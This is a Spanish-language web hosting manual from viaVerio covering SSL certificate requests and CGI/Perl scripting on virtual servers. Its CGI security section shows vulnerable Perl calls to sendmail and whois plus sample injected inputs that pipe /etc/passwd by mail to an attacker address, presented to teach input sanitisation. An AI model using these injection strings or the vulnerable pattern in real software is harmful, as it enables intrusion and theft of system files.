Hay varias empresas, denominadas Autoridades de Certificacin, que emiten certificados digitales. Las dos autoridades emisoras de certificados ms grandes y con mayor soporte son VeriSign y Thawte. En la explicacin que sigue, se describen los pasos necesarios para obtener un certificado digital de VeriSign y Thawte. El proceso requerido para obtener un certificado digital de otras entidades certificadoras es muy similar. El personal de soporte de viaVerio lo ayudar en caso de que existan diferencias especficas para la obtencin de un certificado de una entidad emisora en particular. Nota: El 20 de diciembre de 1999, VeriSign, Inc. anunci su adquisicin de Thawte Consulting. Thawte atiende el mercado global de las pequeas empresas con productos SSL de nivel de entrada. VeriSign atiende el mercado global de las grandes empresas con productos SSL para el sector alto del mercado. La lnea de productos de Thawte sigue siendo esencialmente la misma, y los clientes de Thawte ahora pueden comprar servicios de valor agregado de VeriSign.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

131

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cmo obtener una solicitud de firma de certificado (CSR) 1. 2. Presente una Solicitud de Firma de Certificado (Certificate Signing Request / CSR) a VeriSign o Thawte en nombre de su empresa u organizacin. Complete el formulario de solicitud de certificado y enve un correo electrnico a vcert@viaverio.com". No olvide indicar en el formulario si lo que usted solicita es un certificado VeriSign o Thawte. viaVerio formula una solicitud CSR a partir de su informacin y se la devuelve.

3.

En la solicitud CSR se incluye un bloque de informacin delimitado por la frase NUEVA SOLICITUD DE CERTIFICADO. Ejemplo:

-----BEGIN NEW CERTIFICATE REQUEST----MIIBJTCB0AIBADBtMQswCQYDVQQGEwJVUzEQMA4GA1UEChs4lBMHQX Jpem9uYTEN A1UEBxMETWVzYTEfMB0GA1UEChMWTWVs3XbnzYSBDb21tdW5pdHkgQ 29sbGVnZTE A1UEAxMTd3d3Lm1jLm1hcmljb3BhLmVkdTBaMA0GCSqGSIb3DQEBAQ UAA0kAMEYC QQDRNU6xslWjG41163gArsj/P108sFmjkjzMuUUFYbmtZX4RFxf/U7 cZZdMagz4I MmY0F9cdpDLTAutULTsZKDcLAgEDoAAwDQYJKoZIhvcNAQEEBQADQQ AjIFpTLgfm BVhc9SQaip5SFNXtzAmhYzvJkt5JJ4X2r7VJYG3J0vauJ5VkjXz9ae vJ8dzx37ir 3P4XpZ+NFxK1R= -----END NEW CERTIFICATE REQUEST----Certificado digital VeriSign Para mayor informacin vea la siguiente URL: https://digitalid.verisign.com/ Certificado digital Thawte Para mayor informacin vea la siguiente direccin URL: https://www.thawte.com/ Nota: VeriSign y Thawte no tienen acceso a su frase ni Clave, as que debe recordarlas. Si pierde el par clave o si el certificado digital se ve comprometido de algn otro modo, debe brindar su frase o clave a la Autoridad de Certificacin para solicitar la revocacin del certificado digital. Presentacin de documentacin de autenticacin a VeriSign o Thawte VeriSign o Thawte exigen la presentacin de diversos documentos, como la autorizacin para operar, los estatutos y dems documentos constitutivos, para verificar la identidad de la organizacin. Los procedimientos para brindar esta informacin se enviarn por correo electrnico poco despus de que VeriSign o Thawte hayan recibido la solicitud CSR. Si la informacin proporcionada est completa y puede ser verificada, el pedido se procesa en un lapso de 3 a 5 das hbiles. Si necesita contactar a VeriSign por algn motivo relacionado con el pedido, puede llamar al 415-961-8820 o enviar un correo electrnico a support@verisign.com. Se le pedir proporcionar su PIN y posiblemente la frase.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

132

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Thawte incluir un nmero telefnico y dems informacin de contacto una vez que usted present su solicitud, por si necesita comunicarse con Thatwe. Se le pedir el ID de certificado y la clave. Nota: viaVerio no puede actuar en su nombre en este tema ni acelerar el proceso de generacin de certificados, el cual depende estrictamente de VeriSign o Thawte.

Obtencin del certificado digital


Una vez que se genera el certificado digital, VeriSign le devuelve el certificado firmado por correo electrnico. Thawte le enva un correo con la direccin URL para que usted se baje su ID Digital. Reenve este mensaje a vcert@<company_domain>, para que instalemos el certificado en su Servidor Virtual. La instalacin tarda de uno a tres das hbiles. En la seccin Servidor Seguro de las preguntas ms frecuentes de viaVerio, figuran algunas respuestas a las preguntas ms frecuentes sobre SSL y los certificados digitales. Consulte el sitio de viaVerio dedicado a los certificados digitales para ampliar la informacin sobre la tramitacin e instalacin de un certificado digital en su Servidor Virtual.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

133

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas tratados en este captulo, consulte las siguientes pginas en el sitio de viaVerio.

Sitio web oficial de Apache


http://www.apache.org

Documentacin sobre directivas


http://www.apache.org/docs/

Mdulos de carga
http://www.apache.org/docs/dso.html http://www.apache.org/docs/mod/mod_so.html http://www.apache.org/docs/misc/API.html http://www.apacheweek.com/features/modulesoup

Fuentes adicionales de Apache


http://www.apacheweek.com http://www.apacheweek.com/features/ http://www.apache.org/info/apache_books.html http://www.viaverio.com/support/

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

134

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


El Servidor Virtual tiene un robusto soporte para lenguajes de programacin y compiladores. Los compiladores soportados son los siguientes: gcc (g++) C (cc) as (un assembler) Java

Adems, el Servidor Virtual es capaz de ejecutar lenguajes interpretados. Se incluyen: Perl Tcl Python Programas shell UNIX

Si bien escapa al alcance de este captulo ensearle a programar en un lenguaje especfico, se consideran algunos errores comunes que se encuentran al emplear estos utilitarios. Este captulo analiza Perl en ms detalle porque es el lenguaje ms elegido para el desarrollo web. Sin embargo, el anlisis terico de Perl se aplica igualmente a los scripts escritos en otros lenguajes. Este captulo cubre los siguientes temas: Common Gateway Interface (CGI) Servidor Virtual vs. servidor fsico Scripts en el Servidor Virtual Scripts en Perl Nociones de Java Nociones de lenguajes compilados Nociones de lenguajes shell Informacin adicional

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

135

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Common Gateway Interface (CGI)


El servidor web virtual puede entregar documentos web. Sin embargo, si usted lo usa slo para mostrar contenido esttico a los visitantes, no est aprovechando todo su potencial. El servidor web puede procesar y entregar contenido en forma dinmica, adems de responder a los datos complejos que envan los visitantes. Hay muchos mecanismos incluidos en el protocolo http que permiten que un navegador enve datos seleccionados por el usuario a un servidor. El servidor web virtual no procesa directamente los datos, sino que los pasa para su procesamientos a programas externos. Este proceso se denomina Common Gateway Interface (CGI). La interfase CGI permite que el servidor web virtual se comunique con programas externos completamente separados. Cuando se accede a una direccin URL que hace referencia a un programa, se produce lo siguiente: 1. 2. 3. 4. El servidor lanza el programa. El programa procesa datos suministrados por el usuario. El programa devuelve los resultados al servidor web. El servidor devuelve los resultados al navegador que hizo la solicitud original.

El servidor web virtual tambin puede procesar los datos internamente a travs de mdulos de carga dinmica (por ejemplo, mod_perl). Esto se asemeja a agregar CGI directamente en el servidor, eliminando la separacin entre los procesos del servidor y de gateway. El servidor web virtual puede procesar los datos suministrados por el usuario a mayores velocidades. En el Captulo 6 se hace un anlisis detallado de los mdulos dinmicos de Apache. Los CGI scripts se pueden compilar en programas escritos en lenguajes como C y C++ o pueden escribirse en lenguajes interpretados como: Perl Python Tcl Programas shell UNIX

El Servidor Virtual da soporte a: La capacidad de instalar sus propios CGI scripts desarrollados a medida. La capacidad de instalar CGI scripts de terceros.

CGI: Cuestiones de seguridad


Un problema comn en los CGI scripts es que pueden permitir a un atacante ejecutar comandos shell arbitrarios en el Servidor Virtual. Un atacante habilidoso puede usar CGI scripts mal escritos para obtener los mismos privilegios que usted tiene en la lnea de comandos (cuando se conecta va Telnet o SSH al Servidor Virtual). Este problema de seguridad se relaciona con la forma en que se escriben los scripts y no con la seguridad del entorno del Servidor Virtual. Verifique todos los scripts que haya escrito o de terceros. Tal vez sin saberlo haya introducido agujeros de seguridad en el entorno del Servidor Virtual a travs de sus scripts CGI. Busque casos en los que el script abre una puerta a un programa externo como un ejecutable de correo (algo muy comn). Cuando existen estos casos los mismos se abren usando datos suministrados por el usuario, por eso asegrese de que los datos hayan sido correctamente depurados.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

136

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Por ejemplo, puede haber escrito o instalado un script que procesa datos suministrados por el usuario y correos electrnicos a un receptor:

open (MAIL, "|/bin/sendmail $ datos_del_usuario {'receptor'}"); print MAIL "A: $datos_del_usuario {'receptor'}\n"; print MAIL "De: $datos_del_usuario {'direccin_correo'}\n"; close(MAIL);
Ejemplo de un atacante para el valor de receptor:

alguna@direccin.correo; cat /etc/passwd | mail atacante@direccin.correo alguna@direccin.correo && mail atacante@direccin.correo < /etc/passwd
La forma ms fcil de negar un ataque (en este ejemplo) es eliminar los datos suministrados por el usuario del comando open. El programa sendmail tiene un indicador muy til (-t) que, cuando est activado, hace que sendmail lea los encabezados del mensaje (A:, Cc:, Cco:) para los receptores. Por lo tanto, en lugar de:

open (MAIL,"|/bin/sendmail $datos_del_usuario {'receptor'}")


use:

open (MAIL, "|/bin/sendmail -t")


Los CGI scripts tambin son vulnerables cuando un script ejecuta un programa externo. Por ejemplo, un script puede realizar una bsqueda de disponibilidad de un nombre de dominio especfico de un usuario, como se muestra en el ejemplo:

open (WHOIS, "/bin/whois $ datos_del_usuario {'nombre_dominio'} |");


El cdigo precedente es vulnerable a los ataques. El atacante podra presentar un nombre falso para el valor nombre_dominio tal como se muestra en el ejemplo:

Nombre.dominio; cat /etc/passwd | mail atacante@direccin.correo Nombre.dominio && mail atacante@direccin.correo < /etc/passwd
La mejor forma de prevenir tales ataques es depurar los datos suministrados por los usuarios. Elimine los caracteres que no son esenciales. En el ejemplo precedente, verifique el nombre_dominio con un conjunto de caracteres vlidos que incluya letras, dgitos, guiones y puntos usando unas pocas lneas de cdigo Perl:

if ($datos_del_usuario{'nombre_dominio') =~ /[^A-Zaz0-9\.\-]/) {print "Content-type: text/plain\n\n"; print "Ingres un nombre de dominio no vlido."; exit(0);} open (WHOIS, "/bin/whois $datos_del_usuario{'nombre_dominio'} |");

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

137

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: Todos los scripts de la librera de viaVerio usan los mtodos de depuracin correctos. No podemos garantizar la seguridad de los scripts y programas de extensiones de servidor de viaVerio y los scripts contribuidos, porque no fueron creados por viaVerio. Sin embargo, hemos examinado esos scripts y corregido los problemas que encontramos. Tambin monitoreamos de cerca los avisos y boletines de CERT que se aplican al software del Servidor Virtual.

Seguridad de CGI apropiada y otros recursos


http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters/ Centro de coordinacin CERT: http://www.cert.org Avisos CERT en USENET: comp.security.announce Avisos CERT por correo electrnico: cert-advisory-request@cert.org En la lnea del Asunto, escriba "SUBSCRIBE su@direccion_de.correo"

Los servicios del Servidor Virtual operan en un entorno completamente distinto del sistema raz (y de cualquier otro Servidor Virtual alojado en la misma mquina). Como tal, el script CGI no tiene acceso a los archivos que residen en el sistema raz. Sus scripts CGI slo tienen acceso a los archivos ubicados en la jerarqua de su directorio raz.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

138

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Servidor Virtual vs. servidor fsico


El Servidor Virtual requiere un tipo de programacin distinta de la que usted puede haber hecho en ocasiones anteriores. El Servidor Virtual se ejecuta en un entorno especial que protege y asla a un servidor del otro. Debido a que esta diferencia est integrada en la tecnologa del Servidor Virtual, a veces no resulta obvia. A ello se suma la confusin de que Telnet (el programa usado para conectarse a la lnea de comandos del Servidor Virtual) no corre bajo el entorno del Servidor Virtual. En general, los programas se escriben y se prueban desde un entorno Telnet, el cual difiere del entorno en el que se ejecuta el script cuando es invocado, por ejemplo, a travs un servidor web. Hay un solo usuario que tiene acceso a Telnet (el administrador del Servidor Virtual). Cuando est conectado al Servidor Virtual a travs de Telnet, no tiene la restriccin del entorno del Servidor Virtual. Este tiene acceso a muchos utilitarios a los que de otra forma no podra acceder. El entorno del administrador Telnet incluye acceso a gran parte del servidor fsico donde reside el Servidor Virtual. Cuando el administrador del Servidor Virtual se conecta con el Servidor Virtual a travs de Telnet, se llega a la lnea de comandos la que tiene predeterminado su directorio raz:

servidor-virtual: {1} %
Nota: La lnea precedente muestra cmo aparece normalmente un prompt de comandos en una sesin Telnet. El resto del captulo usa el signo % para representar la lnea de comandos. Al ejecutar el comando pwd (print working directory), usted sabr en qu directorio se encuentra:

% pwd /usr/home/usuario
Donde usuario es el nombre de usuario del administrador del Servidor Virtual. Ejemplo de su_empresa.com:

suempr: {2} % pwd /usr/home/suempr


Sin embargo, para otros servicios distintos de Telnet, el directorio raz se conecta con "/", o "raz." Por ejemplo, al conectarse a un Servidor Virtual va FTP (utilizando el nombre de dominio hipottico su_empresa.com) y escribir pwd, muestra "/".

% ftp su_empresa.com Conectado a su_empresa.com 220 su_empresa.com ftp servidor (Versin 5.3.2) preparado. Nombre (su_empresa.com:root): usuario 331 Clave requerida para usuario. Clave: 230 Nombre de usuario conectado. El tipo de sistema remoto es UNIX. Usando modalidad binaria para transferir datos. ftp> pwd 257 "/" es el directorio actual. ftp>

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

139

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

La diferencia entre la ruta vista en Telnet y otros servicios causa un problema comn cuando se programan los CGI. Por ejemplo, algunas veces, los administradores quieren enviar un correo desde un script. En UNIX tradicional, se puede invocar el programa sendmail para enviar correos. Al escribir scripts, debe especificar la ruta al programa que desea ejecutar. Con UNIX, puede escribir which sendmail para encontrar la ruta al programa que est invocando. Por ejemplo:

% which sendmail /usr/sbin/sendmail


El uso de which en el ejemplo precedente devuelve la ruta del Sendmail del servidor fsico, donde se encuentra el Sendmail de su Servidor Virtual personal que reside en el servidor fsico. El uso de which para ubicar una ruta de un programa puede ser confuso, ya que la ruta usada en los scripts CGI debe ser vlida cuando se ejecuta en el entorno virtual. Este problema se analiza en las secciones siguientes.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

140

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Scripts en el Servidor Virtual


Hay varios programas que le permiten obtener ms informacin del Servidor Virtual. Los comandos tiles son: which whereis Perl

Dichos comandos se explican a continuacin.

Uso de which
El programa which busca en las diversas rutas del archivo .cshrc (un archivo de configuracin de su directorio $HOME) y devuelve a la ruta del primer programa que corresponde a la consulta which. Por ejemplo, la ruta .cshrc puede ser:

set path = (/bin /usr/bin /usr/local/bin ~/bin ~/usr/bin ~/usr/local/bin)


El carcter tilde ("~") es otra forma de especificar $HOME (su directorio raz). As que en el ejemplo anterior, si se ingresa which sendmail se indica al Servidor Virtual que busque el programa sendmail en el directorio /usr/home/usuario/bin/. Como el programa est all, devuelve lo siguiente:

% which sendmail /usr/home/usuario/bin/sendmail

Uso de whereis
Existen otros mtodos para verificar qu programa se est ejecutando. Uno de ellos es whereis, que verifica un conjunto de rutas distinto que el comando which para encontrar los programas, de modo que la misma prueba da un resultado diferente:

% whereis sendmail /usr/sbin/sendmail


En este caso, se encuentra el sendmail del servidor fsico (/usr/sbin/ se verific antes que ~/bin). Por qu es importante? Cuando los scripts que usted escribe se ejecutan desde una pgina web en lugar de la lnea de comandos Telnet, las rutas son distintas. Los scripts ya no tienen acceso a libreras o directorios ms arriba del directorio $HOME cuando se ejecutan desde el servidor web. Ese es el caso a pesar de que con Telnet no se tenga acceso a las libreras y directorios. Cuando los scripts se ejecutan, por ejemplo, desde un servidor web, /usr/home/usuario simplemente cambia por "/", y el script no puede llegar ms arriba que este directorio para acceder a cualquier parte del servidor fsico. Por ejemplo, si usted escribiera un script con la ruta /usr/sbin/sendmail, el Servidor Virtual comenzara buscando en /usr/home/usuario/ para tratar de encontrar la ruta /usr/sbin/sendmail. Debido a que no existe en el Servidor Virtual en forma predeterminada, la ruta /usr/home/usuario/usr/sbin/sendmail no est presente. Por lo tanto, el script terminara con un error unable to find sendmail.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

141

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

El problema se agrava si se escribe un script con la ruta a sendmail como /usr/home/usuario/bin/sendmail. Cuando el script se ejecuta, se fija en el directorio $HOME (dado que ahora es raz "/") tratando de encontrar /usr/home/usuario/bin/sendmail. O para hacer la bsqueda ms clara, trata de encontrar /usr/home/usuario/usr/home/usuario/bin/sendmail. Tampoco esta ruta existe. Nota: Al programar en el Servidor Virtual, recuerde que el Servidor Virtual supone que el directorio $HOME es el directorio raz virtual y que la ruta a sendmail en este caso sera simplemente /bin/sendmail. Despus, cuando se ejecuta el script, trata de encontrar $HOME/bin/sendmail (/usr/home/usuario/bin/sendmail). Como est presente, el script se ejecuta como se esperaba.

Especificacin de rutas
Como los CGI scripts operan en el entorno virtual, la autora debe adaptarse a ese entorno. Especifique las rutas en los scripts CGI en forma relativa a su directorio raz. Por ejemplo, en el script ser conveniente hacer lo siguiente desde un archivo en la estructura de directorios: Abrir Escribir a Leer de En lugar de especificar una use ruta que empiece

Nota:

/usr/home/usuario/usr/local/...,
acceder al archivo.

/usr/local/...

con para

Definicin de permisos
Despus de subir el script o crearlo en lnea, debe especificar los permisos necesarios para su ejecucin. En un entorno UNIX, cada archivo tiene una modalidad especfica o conjunto de permisos que determinan quin puede leer, escribir o ejecutar el archivo. Especificacin del Permiso de Ejecucin en un archivo 1. 2. Conctese al Servidor Virtual a travs de Telnet o SSH. Desde la lnea de comandos, escriba:

% chmod +x ARCHIVO
ARCHIVO es el nombre de su script. Si un script no tiene permisos de ejecucin, todo intento de ejecucin dar el error de servidor 403 Forbidden. Instalacin de Perl5 Perl5 viene instalado automticamente en el Servidor Virtual, pero si por alguna razn necesita reinstalarlo, las instrucciones son las siguientes: Desde la lnea de comandos, escriba:

% vinstall perl5

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

142

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota:

El

comando

precedente

instala

el

archivo

tar

del

directorio

/usr/local/contrib/ del servidor fsico al Servidor Virtual.


La instalacin coloca Perl5 (con todas las libreras estndares) en el directorio ~/usr/local/lib/perl5/ del Servidor Virtual. El nuevo binario Perl5 reside en el directorio ~/usr/local/bin/ . De modo que la ruta correcta a Perl5 en sus scripts es:

#!/usr/local/bin/perl
Cuando se ejecuta desde la web, el script cambia al entorno virtual y ejecuta $HOME/usr/local/bin/perl.

Prueba de scripts en el entorno del Servidor Virtual


En algunas ocasiones, usted querr probar el script (creado por usted mismo o por otro) en el entorno virtual. Prueba del script Desde la lnea de comandos Telnet, anexe el comando virtual antes de invocar el script. Por ejemplo:

% virtual ./env.cgi
El comando precedente ejecutara el script env.cgi en el mismo entorno virtual que existe para el servidor web. Esta accin hace que cada ruta en el script env.cgi se ejecute en la modalidad virtual. Nota: Invoque el script ingresando ./ El punto significa comenzar en el directorio actual.

Resolucin de los errores ms comunes


A continuacin se describen algunos de los errores comunes que encontrar en el archivo Registro de Errores (junto con las soluciones correspondientes). En cada caso, primero se muestra el error, seguido de un anlisis y las posibles soluciones.

Errores de servidor "500"


Si encuentra el enigmtico 500 Server Error cuando ejecuta sus scripts, examine el Registro de Errores del servidor web, que est almacenado en el directorio ~/usr/local/etc/httpd/logs bajo el nombre error_log. Nota: Como usted puede modificar las configuraciones del servidor virtual para cambiar la ubicacin o el nombre del archivo Registro de Errores, asegrese de ir a la ubicacin correcta para poder visualizarlo. Revisin del Error de Servidor generado en tiempo real 1. 2. Conctese al Servidor Virtual a travs de Telnet o SSH. Desde la lnea de comandos, escriba:

% cd ~/usr/local/etc/httpd/logs % tail f error_log

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

143

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

El comando tail muestra la ltima parte del archivo de registro de errores mientras imprime lo que haya anexado al registro de errores. Esto puede verse a travs de la ventana de la consola, que le muestra en tiempo real lo que se est escribiendo en el archivo de registro de errores. Por ejemplo, use el navegador para ejecutar el script CGI nuevamente. Al hacerlo, se mostrar el mensaje de error durante la sesin Telnet.

Error de Script CGI


Error: "HTTPd/CGI: fall la ejecucin de INFO_RUTA_CGI, nmero de error 2"
Anlisis y solucin La primera lnea del CGI script no especific la ubicacin correcta del intrprete. Si usted usa un script Perl, consulte la seccin Problemas comunes con scripts Perl ms adelante, donde encontrar la definicin correcta de primera lnea del intrprete Perl.

Error de encabezado mal formado


Error: "HTTPd: malformed header from script INFO_RUTA_CGI"
Anlisis y solucin El script no est imprimiendo una respuesta de encabezado correcto. Cuando se ejecuta, el script CGI devuelve al servidor web un mensaje que se divide en dos partes: encabezado y cuerpo del mensaje. El encabezado le dice al servidor web el tipo de contenido de los datos que se enviarn en el cuerpo de la respuesta. El encabezado est separado del cuerpo de la respuesta del script CGI por una sola lnea en blanco. Ejemplo de respuesta CGI vlida:

Content-type: text/html <html> <head><title>Title</title></head> <body bgcolor="white"> Hola, mundo! </body> </html>
El mensaje de error encabezado mal formado indica que el script no devuelve correctamente la porcin del encabezado de la respuesta. Algunos errores comunes relacionados con los encabezados son: Se cometen errores de tipeo en Content-type Se da un tipo de contenido no vlido (por ejemplo, un tipo vlido es text/html) No se imprime una lnea en blanco que separe el encabezado del cuerpo del mensaje de respuesta

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

144

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Scripts con Perl


Perl (Practical Extraction and Report Language) es un lenguaje de programacin interpretada que correlaciona patrones, manipula informacin y es til para la automatizacin de la administracin de sistemas. Con el tiempo, ha pasado a ser el lenguaje preferido para la mayor parte de los CGI que se usan en la web. El Servidor Virtual trae las libreras Perl5 estndares instaladas. Si no las trae o desea reinstalarlas, siga los siguientes pasos: Instalacin de Perl5 1. Conctese al Servidor Virtual a travs de Telnet o SSH y desde la lnea de comandos ejecute lo siguiente:

% cd % vinstall perl5
2. Despus de instalar Perl5, apunte su nueva instalacin Perl editando el script CGI.

Perl puede invocarse de dos maneras: Directamente desde la lnea de comandos

% ~/usr/local/bin/perl ./env.cgi
Ejecutando el programa en la primera lnea del archivo Puede invocar Perl ejecutando el programa en la primera lnea del archivo con la anotacin #! . Por ejemplo, si usted est creando un script con Perl, abra un archivo e ingrese #!/usr/local/bin/perl. Esta accin informa a la computadora que se trata de un script Perl.

Duplicacin del entorno virtual


Recuerde, el mismo problema de confundir el Servidor Virtual con el servidor fsico puede aparecer cuando se define una ruta a Perl. Cuando usted ingresa which perl desde la lnea de comandos, el Perl que se le devuelve es el primer Perl visto en su .cshrc$path. Si es Perl4, tal vez est especificando la ruta al Perl incorrecto /usr/local/bin/perl4). Si quiere ejecutar el script duplicando el entorno virtual, use el comando virtual:

% virtual ./env.cgi
La primera lnea en el archivo env.cgi es #!/usr/local/bin/perl, de modo que para el script se usa el binario Perl5. Perl tambin puede tomar opciones de la lnea de comandos, que pueden servir para depurar los scripts. Estas tambin pueden incluirse en la primera lnea del script. Por ejemplo, lo siguiente hace que Perl verifique la sintaxis del script:

#!/usr/local/bin/perl -c
Lo siguiente hace que Perl busque en el directorio /usr/local/lib/perl5 archivos include:

#!/usr/local/bin/perl -I/usr/local/lib/perl5
Lo siguiente hace que Perl imprima distintos tipos de avisos:

#!/usr/local/bin/perl -w

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

145

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: Cuando un script no funciona correctamente, las opciones -w y -c pueden ayudar a depurarlo generando avisos y errores de verificar sintaxis. Adems de estas opciones, verifique los archivos de registro de errores del servidor web. Verificacin de los archivos de registro de errores del servidor 1. 2. 3. Conctese al Servidor Virtual a travs de Telnet. Cambie al directorio de registro. Ejecute Tail en el registro de errores.

% cd ~/www/logs % tail error_log

Problemas ms comunes de los scripts Perl y sus soluciones


A continuacin se analizan algunos problemas comunes que pueden presentar los scripts Perl en un Servidor Virtual y cules son las soluciones posibles.

Problema para transferir el script de Perl modo ASCII


Los scripts Perl, a diferencia de los ejecutables compilados, son simples archivos de texto, los cuales deben transferirse de la computadora local al Servidor Virtual utilizando la modalidad ASCII (no BINARIA). Si no los transfiere en esta modalidad, recibir Errores de Servidor 500.

Problemas con los scripts de Perl5


El script requiere Perl5, el cual no est instalado en el Servidor Virtual O: La ruta a Perl que usa el script es #!/usr/local/bin/perl4 en lugar de #!/usr/local/bin/perl.

Solucin
Instalar Perl5. Instalacin de Perl5 Conctese al Servidor Virtual a travs de Telnet o SSH y desde la lnea de comandos ejecute los siguientes comandos:

% cd % vinstall perl5
Despus de instalar Perl5, apunte la nueva instalacin Perl editando el script CGI.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

146

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Edicin del script CGI 1. Desde la lnea de comandos, escriba:

% cd www/cgi-bin % pico mi-cgi.cgi


2. Cambie la primera lnea del script

#!/usr/bin/perl
por:

#!/usr/local/bin/perl
El programa Perl se ejecutar con el intrprete Perl5 en lugar de Perl4, ubicado en ~/usr/bin/perl. El programa de instalacin de Perl ahora instala una copia de Perl5 con un vnculo duro, para ahorrar espacio en el Servidor Virtual (aproximadamente, 10,8 MB). vinstall tambin puede instalar la copia vinculada de Perl5:

% vinstall perl5
Especificacin de ruta inadecuada del Intrprete Perl La primera lnea de un script Perl indica la ruta del intrprete Perl. En el entorno del Servidor Virtual, la especificacin correcta del intrprete Perl5 es /usr/local/bin/perl. Si usted baj un script Perl de una fuente externa, el intrprete Perl comnmente se define sobre la base del entorno del autor, que puede ser distinto del entorno del Servidor Virtual. Adems, si usted subi un script Perl a su Servidor Virtual, asegrese de que el script incluya la definicin de ruta correcta al intrprete Perl5. La ubicacin del intrprete Perl4 se especifica como /usr/local/bin/perl4, mientras que la ubicacin del intrprete Perl5 debe especificarse como /usr/local/bin/perl.

Ejemplo de problema con utilitarios


Problemas de funcionamiento con los utilitarios como sendmail. Solucin Como el problema en general tiene que ver con la especificacin de la ruta (como la utilizacin de /usr/sbin/sendmail en lugar de /bin/sendmail), debe cambiar las rutas del servidor fsico por rutas del Servidor Virtual. Nota: Para asegurarse de que el script est invocando rutas al entorno del Servidor Virtual, consulte la seccin anterior, Servidor Virtual vs. servidor fsico, donde encontrar informacin ms detallada.

Ejemplo de problemas con el mdulo de script de Perl


No se encuentra un mdulo en el script Perl, probablemente debido a una cuestin de especificacin de ruta (usr o require no tienen la ruta especificada al mdulo Perl correcto) o el mdulo no est incluido en la instalacin Perl actual.

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

147

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Soluciones Cuando no se encuentra un mdulo en el script Perl puede optarse por las siguientes soluciones: Poner el mdulo en el mismo directorio en que se est ejecutando el script Perl y no especificar ruta hacia l (solamente invocarlo por nombre con use o require u otra sintaxis). Poner el mdulo en el directorio donde estn guardados los otros mdulos, normalmente, /usr/local/lib/perl5/. Agregar la ruta a los mdulos que haya creado o desee usar en el conjunto @INC. Para usar esta solucin, viaVerio sugiere consultar los libros de O'Reilly sobre Perl.

Instalacin de mdulos Perl en el servidor virtual


Los utilitarios para instalar los mdulos Perl en general suponen que la instalacin se hace en el rea raz del sistema de archivos de la mquina, a la cual usted, como usuario del Servidor Virtual, no tiene acceso. Debe instalar los mdulos Perl localmente, dentro del sistema de archivos del Servidor Virtual. Las siguientes operaciones se explican en ms detalle: Instalacin de mdulos Perl5 localmente Cmo hacer que los scripts encuentren los mdulos instalados Instalacin de nuevos mdulos que requieren mdulos instalados localmente Instalacin de mdulos con CPAN.pm

Instalacin de mdulos Perl5 localmente


Si usted requiere un Mdulo Perl5 que no est incluido en las Libreras Estndares Perl 5, tal vez pueda usar el utilitario vcpan para instalarlo. Este utilitario es un paquete del comando perl5 -MCPAN -e shell que automatiza la bajada e instalacin del mdulo. Para lanzar vcpan en modalidad interactiva, conctese al Servidor Virtual a travs de Telnet o SSH y escriba:

% vcpan
Para acceder a la ayuda vcpan en lnea, escriba:

% vcpan -h

Captulo 7: CGI Scripts y Programacin del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

148

Manual para Servidores Virtuales

